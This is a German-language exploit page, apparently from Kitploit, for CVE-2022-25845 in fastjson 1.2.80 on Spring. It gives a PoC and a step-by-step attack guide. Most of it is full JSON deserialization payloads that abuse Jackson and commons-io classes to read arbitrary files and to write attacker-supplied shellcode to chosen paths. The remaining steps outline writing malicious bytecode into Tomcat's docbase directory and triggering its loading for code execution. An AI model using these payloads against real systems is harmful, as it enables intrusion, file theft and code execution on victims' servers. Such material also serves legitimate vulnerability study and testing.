CVE-2022-25845-In-Spring — CVE-2022-25845 (fastjson 1.2.80) Exploit für Spring-Umgebungen mit schrittweisem PoC, Dateilesen und beliebigem Dateischreiben über Jackson/commons-io Deserialisierungsketten. | Kitploit

CVE-2022-25845-In-Spring

Hauptabhängigkeiten

jackson
commons-io

Schnelle Reproduktion

Projekt in IntelliJ importieren und mvn install ausführen
Dockerfile bauen und docker build . ausführen
Führen Sie src/test/java/POC.java aus, um den Befehl touch /tmp/pwned auszuführen

Anleitung zur Ausnutzung

Schritt 1: java.io.InputStream zum fastjson autotype Cache hinzufügen

{
  "a": "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\",    \"p\": {    }  }",
  "b": {
    "$ref": "$.a.a"
  },
  "c": "{  \"@type\": \"com.fasterxml.jackson.core.JsonParser\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",  \"in\": {}}",
  "d": {
    "$ref": "$.c.c"
  }
}

{
  "a": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "${file}"
        },
        "charsetName": "UTF-8",
        "bufferSize": "1024"
      },
      "boms": [
        {
          "charsetName": "UTF-8",
          "bytes": ${data}
        }
      ]
    },
    "boms": [
      {
        "charsetName": "UTF-8",
        "bytes": [1]
      }
    ]
  },
  "b": {"$ref":"$.a.delegate"}
}

{
  "a": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.AutoCloseInputStream",
    "in": {
      "@type": "org.apache.commons.io.input.TeeInputStream",
      "input": {
        "@type": "org.apache.commons.io.input.CharSequenceInputStream",
        "cs": {
          "@type": "java.lang.String"
          "${shellcode}",
          "charset": "iso-8859-1",
          "bufferSize": ${size}
        },
        "branch": {
          "@type": "org.apache.commons.io.output.WriterOutputStream",
          "writer": {
            "@type": "org.apache.commons.io.output.LockableFileWriter",
            "file": "${file2write}",
            "charset": "iso-8859-1",
            "append": true
          },
          "charset": "iso-8859-1",
          "bufferSize": 1024,
          "writeImmediately": true
        },
        "closeBranch": true
      }
    },
    "b": {
      "@type": "java.io.InputStream",
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "org.apache.commons.io.input.XmlStreamReader",
        "inputStream": {
          "$ref": "$.a"
        },
        "httpContentType": "text/xml",
        "lenient": false,
        "defaultEncoding": "iso-8859-1"
      },
      "charsetName": "iso-8859-1",
      "bufferSize": 1024
    },
    "c": {}
  }
}

CVE-2022-25845-In-Spring

Beliebteste

Schritt 2: Datei-Inhalt von /tmp mit file-Protokoll lesen, um den docbase-Dateinamen von Tomcat zu ermitteln

Schritt 3: Schreiben von bösartigem Bytecode in das docbase-Verzeichnis

Schritt 4: Auslösen des Ladens der schädlichen Klasse

Referenzen/Danksagung